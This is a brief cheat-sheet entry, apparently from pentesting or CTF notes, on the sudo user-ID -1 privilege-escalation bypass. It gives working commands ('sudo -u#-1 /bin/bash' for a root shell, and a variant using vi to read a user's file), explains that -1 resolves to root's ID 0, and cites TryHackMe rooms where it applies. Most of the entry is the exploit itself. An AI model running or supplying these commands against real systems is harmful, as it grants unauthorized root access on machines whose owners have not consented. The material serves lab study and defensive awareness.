Sudo

sudo -u#-1 /bin/bash
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id
  • tryhackme - agent sudo , year of the rabbit

Last updated